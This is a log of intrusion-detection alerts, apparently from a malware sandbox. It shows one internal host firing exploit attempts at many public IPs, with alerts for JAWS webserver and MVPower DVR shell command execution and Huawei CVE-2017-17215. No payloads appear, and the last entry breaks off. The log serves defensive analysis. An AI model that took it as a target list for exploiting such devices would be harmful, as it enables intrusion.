ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 185.48.5.6

Timestamp:	04/14/24-04:01:36.497567
SID:	2030092
Source Port:	54564
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 54.189.245.215

Timestamp:	04/14/24-04:01:49.397703
SID:	2025883
Source Port:	45338
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.215.200.44

Timestamp:	04/14/24-04:00:55.619403
SID:	2025883
Source Port:	54062
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.39.138.2

Timestamp:	04/14/24-04:01:37.529345
SID:	2025883
Source Port:	48902
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 107.181.160.99

Timestamp:	04/14/24-04:01:18.265451
SID:	2025883
Source Port:	52432
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 44.212.229.33

Timestamp:	04/14/24-04:01:36.626313
SID:	2030092
Source Port:	54246
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.20.202.107

Timestamp:	04/14/24-04:00:26.613412
SID:	2030092
Source Port:	47068
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.41.225.135

Timestamp:	04/14/24-04:01:15.421980
SID:	2030092
Source Port:	36688
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 5.196.251.0

Timestamp:	04/14/24-04:01:39.267833
SID:	2025883
Source Port:	39580
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 63.119.95.169

Timestamp:	04/14/24-04:00:58.728290
SID:	2030092
Source Port:	52106
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 210.154.254.210

Timestamp:	04/14/24-04:00:33.544121
SID:	2030092
Source Port:	49226
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 185.145.247.192

Timestamp:	04/14/24-04:01:53.753769
SID:	2030092
Source Port:	54334
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.41.236.167

Timestamp:	04/14/24-04:01:42.373304
SID:	2030092
Source Port:	38606
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 103.182.211.131

Timestamp:	04/14/24-04:01:52.984466
SID:	2025883
Source Port:	37554
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 221.113.168.50

Timestamp:	04/14/24-04:00:36.409304
SID:	2025883
Source Port:	33488
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.92.6.113

Timestamp:	04/14/24-04:01:04.416158
SID:	2030092
Source Port:	58350
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.76.198.249

Timestamp:	04/14/24-04:01:22.301796
SID:	2025883
Source Port:	59210
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 4.159.63.164

Timestamp:	04/14/24-04:00:36.712470
SID:	2030092
Source Port:	39718
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 84.197.223.154

Timestamp:	04/14/24-04:00:49.343669
SID:	2025883
Source Port:	54978
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.67.167.116

Timestamp:	04/14/24-04:00:57.924794
SID:	2030092
Source Port:	50124
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 44.239.15.122

Timestamp:	04/14/24-04:00:39.345906
SID:	2030092
Source Port:	54394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 158.199.131.36

Timestamp:	04/14/24-04:00:38.635696
SID:	2025883
Source Port:	42282
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.0.226.142

Timestamp:	04/14/24-04:01:18.375162
SID:	2030092
Source Port:	33230
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 38.38.20.188

Timestamp:	04/14/24-04:01:22.397413
SID:	2030092
Source Port:	33596
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.207.167.238

Timestamp:	04/14/24-04:01:13.627826
SID:	2030092
Source Port:	38916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 186.7.216.19

Timestamp:	04/14/24-04:00:39.603267
SID:	2030092
Source Port:	48088
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 59.190.129.217

Timestamp:	04/14/24-04:00:55.391835
SID:	2030092
Source Port:	34908
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.179.229.31

Timestamp:	04/14/24-04:01:45.239127
SID:	2030092
Source Port:	42036
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 172.66.201.240

Timestamp:	04/14/24-04:00:24.363824
SID:	2025883
Source Port:	48036
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 208.88.74.79

Timestamp:	04/14/24-04:01:15.342345
SID:	2030092
Source Port:	40824
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 184.26.16.67

Timestamp:	04/14/24-04:00:30.767284
SID:	2030092
Source Port:	32998
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.19.80.51

Timestamp:	04/14/24-04:00:14.285914
SID:	2030092
Source Port:	37134
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 109.109.54.95

Timestamp:	04/14/24-04:00:24.790187
SID:	2030092
Source Port:	46062
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 43.249.76.227

Timestamp:	04/14/24-04:01:30.463559
SID:	2030092
Source Port:	34662
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 184.30.179.72

Timestamp:	04/14/24-04:01:24.274200
SID:	2025883
Source Port:	47478
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 108.156.122.28

Timestamp:	04/14/24-04:00:33.399299
SID:	2025883
Source Port:	40566
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 80.190.131.134

Timestamp:	04/14/24-04:00:16.678171
SID:	2030092
Source Port:	48132
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 72.10.161.193

Timestamp:	04/14/24-04:01:39.453993
SID:	2025883
Source Port:	39836
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 203.251.86.68

Timestamp:	04/14/24-04:01:36.694040
SID:	2030092
Source Port:	52600
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 116.255.226.15

Timestamp:	04/14/24-04:00:14.524876
SID:	2030092
Source Port:	43178
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.125.101

Timestamp:	04/14/24-04:00:21.102635
SID:	2835222
Source Port:	33710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 139.9.59.202

Timestamp:	04/14/24-04:00:43.799938
SID:	2030092
Source Port:	49524
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 41.76.222.158

Timestamp:	04/14/24-04:01:12.029142
SID:	2025883
Source Port:	50764
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 72.167.55.19

Timestamp:	04/14/24-04:00:27.321266
SID:	2025883
Source Port:	42836
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.64.28.225

Timestamp:	04/14/24-04:00:49.325490
SID:	2030092
Source Port:	37834
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.80.217.220

Timestamp:	04/14/24-04:00:39.666514
SID:	2030092
Source Port:	33582
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.65.224.107

Timestamp:	04/14/24-04:00:34.400250
SID:	2030092
Source Port:	54022
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.77.163.67

Timestamp:	04/14/24-04:00:30.793944
SID:	2030092
Source Port:	43656
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 37.235.240.159

Timestamp:	04/14/24-04:01:03.888459
SID:	2030092
Source Port:	55878
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 187.26.218.114

Timestamp:	04/14/24-04:01:15.770306
SID:	2030092
Source Port:	59152
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 51.195.220.184

Timestamp:	04/14/24-04:00:19.351444
SID:	2030092
Source Port:	56946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 94.252.127.204

Timestamp:	04/14/24-04:01:17.864348
SID:	2025883
Source Port:	54970
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 199.232.161.63

Timestamp:	04/14/24-04:01:53.677032
SID:	2025883
Source Port:	37288
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 54.72.206.96

Timestamp:	04/14/24-04:01:53.773061
SID:	2030092
Source Port:	46900
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 186.128.162.147

Timestamp:	04/14/24-04:01:50.733475
SID:	2025883
Source Port:	52126
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 92.122.35.7

Timestamp:	04/14/24-04:00:26.880911
SID:	2030092
Source Port:	55418
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 154.38.99.116

Timestamp:	04/14/24-04:00:29.440747
SID:	2025883
Source Port:	38562
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 191.61.160.219

Timestamp:	04/14/24-04:01:18.601884
SID:	2030092
Source Port:	52606
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 54.240.187.152

Timestamp:	04/14/24-04:01:42.629506
SID:	2030092
Source Port:	49190
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 47.49.142.114

Timestamp:	04/14/24-04:01:28.545918
SID:	2025883
Source Port:	40262
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 65.9.75.93

Timestamp:	04/14/24-04:01:37.609944
SID:	2030092
Source Port:	59038
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 34.161.249.238

Timestamp:	04/14/24-04:01:52.328261
SID:	2030092
Source Port:	51048
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 42.63.59.207

Timestamp:	04/14/24-04:01:32.435681
SID:	2030092
Source Port:	50270
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 121.89.58.33

Timestamp:	04/14/24-04:00:37.818990
SID:	2030092
Source Port:	37356
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 118.98.239.73

Timestamp:	04/14/24-04:00:45.918047
SID:	2030092
Source Port:	33748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 178.242.138.104

Timestamp:	04/14/24-04:00:15.446161
SID:	2030092
Source Port:	47118
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.217.226.8

Timestamp:	04/14/24-04:00:37.711223
SID:	2025883
Source Port:	42408
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 219.231.168.103

Timestamp:	04/14/24-04:00:15.103103
SID:	2025883
Source Port:	55122
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 167.172.166.210

Timestamp:	04/14/24-04:01:04.619479
SID:	2030092
Source Port:	56008
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.6.222.214

Timestamp:	04/14/24-04:01:41.947666
SID:	2025883
Source Port:	53364
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 54.214.93.16

Timestamp:	04/14/24-04:00:39.537951
SID:	2025883
Source Port:	57014
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 184.28.129.186

Timestamp:	04/14/24-04:00:26.442836
SID:	2030092
Source Port:	50014
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.121.21.20

Timestamp:	04/14/24-04:01:46.778652
SID:	2025883
Source Port:	45300
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 193.205.7.221

Timestamp:	04/14/24-04:01:37.635352
SID:	2030092
Source Port:	39942
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 119.204.215.178

Timestamp:	04/14/24-04:00:58.472287
SID:	2025883
Source Port:	43092
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 20.8.142.206

Timestamp:	04/14/24-04:01:32.310027
SID:	2030092
Source Port:	45380
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.212.202.146

Timestamp:	04/14/24-03:59:56.058605
SID:	2025883
Source Port:	47030
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 114.142.224.216

Timestamp:	04/14/24-04:01:11.564771
SID:	2030092
Source Port:	60182
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.39.224.152

Timestamp:	04/14/24-04:00:22.677377
SID:	2030092
Source Port:	36268
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 66.29.153.184

Timestamp:	04/14/24-04:01:42.125788
SID:	2030092
Source Port:	60834
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 116.6.105.90

Timestamp:	04/14/24-04:00:47.631406
SID:	2025883
Source Port:	51960
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 134.22.21.42

Timestamp:	04/14/24-04:00:52.180231
SID:	2025883
Source Port:	50836
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 54.75.180.208

Timestamp:	04/14/24-04:01:15.426300
SID:	2025883
Source Port:	52042
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 12.175.64.146

Timestamp:	04/14/24-04:01:15.505683
SID:	2030092
Source Port:	52378
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 117.180.238.129

Timestamp:	04/14/24-04:01:52.194222
SID:	2025883
Source Port:	53672
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.107.32.116

Timestamp:	04/14/24-04:01:41.951127
SID:	2025883
Source Port:	58414
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 195.245.74.9

Timestamp:	04/14/24-04:00:49.352534
SID:	2025883
Source Port:	55966
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 156.205.0.24

Timestamp:	04/14/24-04:01:32.790153
SID:	2025883
Source Port:	39008
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 103.140.234.82

Timestamp:	04/14/24-04:01:45.397004
SID:	2025883
Source Port:	52842
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 116.96.120.220

Timestamp:	04/14/24-04:00:22.152290
SID:	2025883
Source Port:	44540
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 34.36.243.55

Timestamp:	04/14/24-04:01:50.543352
SID:	2030092
Source Port:	57304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.223.72.7

Timestamp:	04/14/24-03:59:56.048241
SID:	2030092
Source Port:	40566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 68.182.254.113

Timestamp:	04/14/24-04:00:45.383975
SID:	2025883
Source Port:	60976
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 217.198.1.19

Timestamp:	04/14/24-04:01:19.666106
SID:	2025883
Source Port:	47224
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 44.215.140.132

Timestamp:	04/14/24-04:01:32.227259
SID:	2025883
Source Port:	39758
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 103.69.247.47

Timestamp:	04/14/24-04:00:49.420488
SID:	2030092
Source Port:	47220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.7.20.164

Timestamp:	04/14/24-04:00:15.468385
SID:	2025883
Source Port:	46244
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 216.47.49.134

Timestamp:	04/14/24-04:00:14.369222
SID:	2030092
Source Port:	41936
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 173.232.58.94

Timestamp:	04/14/24-04:01:24.302011
SID:	2030092
Source Port:	60232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 173.255.248.225

Timestamp:	04/14/24-04:01:25.394338
SID:	2030092
Source Port:	48264
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.235.100.224

Timestamp:	04/14/24-04:01:48.398376
SID:	2829579
Source Port:	46546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 38.165.110.125

Timestamp:	04/14/24-04:01:35.657503
SID:	2030092
Source Port:	53810
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 69.16.209.2

Timestamp:	04/14/24-04:01:36.413072
SID:	2030092
Source Port:	41320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 38.154.37.126

Timestamp:	04/14/24-04:01:30.376214
SID:	2030092
Source Port:	36214
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.178.93.240

Timestamp:	04/14/24-04:00:19.606973
SID:	2030092
Source Port:	54908
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 51.75.161.197

Timestamp:	04/14/24-04:00:55.396563
SID:	2030092
Source Port:	54696
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 82.165.23.33

Timestamp:	04/14/24-04:00:23.607104
SID:	2030092
Source Port:	39366
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 198.137.225.222

Timestamp:	04/14/24-04:01:18.333677
SID:	2030092
Source Port:	49134
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.244.146.19

Timestamp:	04/14/24-04:01:24.449467
SID:	2030092
Source Port:	57888
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 45.132.241.41

Timestamp:	04/14/24-04:00:49.555559
SID:	2030092
Source Port:	54272
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 35.162.207.131

Timestamp:	04/14/24-04:01:04.329418
SID:	2025883
Source Port:	37232
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.25.155.177

Timestamp:	04/14/24-04:01:11.166130
SID:	2025883
Source Port:	60726
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 209.252.101.160

